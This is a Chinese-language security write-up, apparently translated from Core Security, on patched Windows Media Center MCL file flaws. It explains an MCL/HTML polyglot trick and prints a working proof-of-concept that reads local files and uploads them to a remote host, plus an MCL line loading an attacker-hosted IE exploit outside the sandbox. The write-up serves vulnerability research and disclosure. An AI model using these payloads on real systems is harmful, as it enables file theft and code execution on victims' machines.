Windows媒体中心的漏洞分析与利用

微软在今年9月8日发布的MS15-100安全公告中提到修复了一个Windows媒体中心存在的远程代码执行漏洞(如果Windows Media Center打开经特殊设计的引用恶意代码的Media Center link(.mcl)文件，此漏洞可能允许远程执行代码)

MCL文件格式是基于XML的，一个MCL文件就是可以这么简单：

<application run='C:\Windows\System32\calc.exe'></application>

除了接收一个run参数之外，MCL文件中的<application>元素也可以包含一个url参数，这也就是说网页的URL可以被加载到Windows媒体中心内嵌的浏览器(Internet Explorer)中。

事实上我们至少有两种方法可以利用MCL文件在Windows媒体中心中内嵌的IE浏览器中加载任意URL，接下来就看我的表演吧。

MCL/HTML polyglot文件自身可任意读取和泄漏(MS15-134)

正如我前面所述，MCL文件<application>元素中的url参数，是一个将会显示在Windows媒体中心的web页面的URL。如果我们将URL指向本地的HTML文件，那么就会被加载到内嵌IE的Local Machine Zone。这个Local Machine Zone十分微妙啊，所有的本地文件也就同源了！这也就意味着本地HTML文件运行Javascript就可以从你的文件系统中任意读取文件了。(注意：此操作仅在IE下有效，其他浏览器应用的规则更严格)

这个风险也使得微软发布了Local Machine Zone封锁策略，该策略禁用了本地HTML文件运行的脚本。如果本地HTML文件包含的脚本加载到IE浏览器中，用户将会收到下图的提示，这将防止脚本的运行，除非用户点击了“允许阻止内容”按钮：

Local Machine Zone封锁策略为IE浏览器默认启用的，但是在其他内嵌了IE浏览器引擎的应用程序中是需要在注册表条目HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet中增加安全特性缺省的。

Explorer\MAIN\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN，这里的问题就出在，Windows媒体中心没有Local Machine Zone封锁策略的缺省值的。以下为Windows 7 SP1中内嵌IE引擎应用程序应用了这个安全特性的默认列表：

搞明白了这个问题之后，你就可以尝试创建一个MCL文件中，包含Javascript代码的本地HTML文件。就可以看到Windows媒体中心自动运行JS代码且没有任何安全提示。

但从利用角度来看，假设我们可以欺骗用户点击我们创建的MCL文件，存在一个问题：怎样才能将我们MCL文件引用的HTML文件放到存在漏洞的用户文件系统中(所以他会被加载到Local Machine Zone)，然后到底哪些文件是需要我们控制的呢？

在Messing with binary formats文档中我们了解到，polyglot是一个用于解释不同的有效文件格式的文件，根据不同的程序来进行处理。例如，它既可能是一个Windows可执行文件，也可能是一个有效的PDF文档。这取决于你是在Windows系统上运行它还是将其导入到PDF阅读器。

那我们就利用polyglot文件的这一大特性来解决上面的问题：创建一个有效的Windows媒体中心MCL文件，以及一个HTML文件。由于MCL格式(基于XML)和HTML这两个标记语言，使得我们的polyglot文件更加简单，虽然没有Ange Albertini说的那么神奇，但是确实给我们带来了很多帮助！

我们可以轻松的创建一个在<application>和</application>标签中包含内嵌HTML+JS代码的MCL文件，当Windosw媒体中心开始解析MCL文件时，这个额外的payload可以非常容易的绕过。如果MCL文件的url参数指向其本身，之后一个完全相同的MCL文件将会作为HTML内容加载到Windows媒体中心的内嵌IE中。网页浏览器就是因为其对HTML解析的宽松而出的名，因此属于MCL文件的<application>标签就被忽略掉了。之后我们的HTML + Javascript payload会在内嵌浏览器Local Machine Zone的context中，没有任何安全提示的成功运行。一旦成功运行我们的JS代码，我们就可以使用XMLHttpRequest读取用户的本地文件系统中的任意文件，并将其上传到我们的远程服务器上。

该漏洞被命名为CVE-2015-6127，在MS15-100安全公告中得到修复，有兴趣可以查看核心报告。

以下的概念验证中你可以看到一个MCL/HTML polyglot文件盗取本地文件系统中的文件并上传到192.168.1.50。这是在Windows 7 SP1 x64下的Internet Explorer 11进行的测试。由于MCL文件需要通过url参数引用其本身，MCL文件名就必须与url参数匹配：

<application url="poc.mcl"> 
<html> 
<head> 
<meta http-equiv="x-ua-compatible" content="IE=edge" > 
</head> 
<body> 
<script type="text/javascript">
 
  function do_upload(fname, data){ 
     var xmlhttp = new XMLHttpRequest(); 
     xmlhttp.open("POST", "http://192.168.1.50/uploadfile.php", true); 
     xmlhttp.setRequestHeader("Content-type", "multipart/form-data"); 
     xmlhttp.setRequestHeader("Connection", "close"); 
     xmlhttp.onreadystatechange = function(){if (xmlhttp.readyState == 4){alert(fname + " done.");}} 
     xmlhttp.send(new Uint8Array(data)); 
  } 
     
  function read_local_file(filename){ 
     /* Must use this one, XMLHttpRequest() doesn't allow to read local files */ 
     var xmlhttp = new ActiveXObject("MSXML2.XMLHTTP"); 
     xmlhttp.open("GET", filename, false); 
     xmlhttp.send(); 
     return xmlhttp.responseBody.toArray(); 
   } 
   
  function upload_file(filename){ 
     try{ 
        do_upload(filename, read_local_file(filename)); 
     }catch(e){ 
        alert(filename + " error: " + e); 
     } 
   } 
   
   upload_file("file:///C:/Windows/System32/calc.exe"); 
</script> 
</body> 
</html> 
</application>

绕过Internet Explorer沙盒

当一个MCL文件在<application>标签中包含一个url参数，提交的URL会在ehexthost.exe(内嵌IE引擎)进程中进行渲染。与iexplore.exe不同，ehexthost.exe是一个运行于媒体完整性标签(Medium Integrity Level)且没有沙盒保护的单进程应用。因此Windows媒体中心可以被滥用来利用IE组件漏洞，而不必担心IE的保护模式。

<application url='http://ATTACKER/IE_exploit.html'></application>

下面显示了一个典型的Internet Explorer 11利用，如果你想提权以及绕过沙盒，你需要利用第二个漏洞。

利用Winodws媒体中心MCL文件的url参数向IE传递相同的exploit，在媒体完整性标签(Medium Integrity Level)中获得代码执行：

*原文地址：CoreSecurity，编译/ 鸢尾，转载请注明来自FreeBuf黑客与极客（FreeBuf.COM）

源链接

Hacking more

...